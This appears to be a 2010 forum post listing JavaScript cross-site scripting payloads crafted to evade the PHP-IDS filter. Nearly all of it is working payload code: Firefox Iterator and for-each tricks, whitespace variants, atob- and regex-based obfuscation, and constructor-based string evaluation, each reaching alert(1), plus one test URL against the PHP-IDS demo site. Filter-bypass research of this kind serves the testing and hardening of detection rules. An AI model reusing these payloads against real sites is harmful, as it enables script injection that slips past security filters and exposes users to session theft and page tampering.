1) Iterator - very dangerous function (FF)
* w = this <-- forbidden
* bypass:
xyz=Iterator([this]).next()
zyx=xyz[1].alert
zyx(1)
2) for each - very dangerous cycle (FF)
for each (x in{a:this})x=x.alert
x(1)
3) // also 09,0C,0B,0A,0D,A0
xzy={x :this}.x.alert
xzy(1)
http://demo.php-ids.org/?test=xzy={x%20:this}.x.alert%0Axzy%281%29
4) (GC)
xde=(1, /at\ob/\i),
rty=(1, /atob\t/\i),
atat=xde(rty),
alal=(1,/YWxlcnQ\t/\i),
ghj=(1,/YWxlcn\Q/\i),
alal=ghj(alal),
sor=atat.sort,
sor1=sor(),
atat=sor1[atat],
alal=atat(alal),
alal=sor1[alal],
alal(1)
5)
* x.constructor & concatenation <-- forbidden
* bypass:
ale= (1, "ale" ),
rt= (1, "rt (1),0 "),
alal= ale+rt,
x2=02.constructor,
y=x2.constructor,
y(alal)()
or
t="t (1),0 ",
x2 = (1, {x2:02.constructor,a:0}.x2),
xyz = (1, {xyz:x2.constructor,a:0}.xyz),
xyz("aler" + t)()
*sorry, I'm very difficult to stay.)
6) for in - yet another way for getting a string that is filtered.
for(lo in{j:this}.j)!/ale.t/(lo)||this[{},lo](+!'')
LeverOne
----------------------
~Veritas~
Edited 3 time(s). Last edit at 08/08/2010 08:15AM by LeverOne.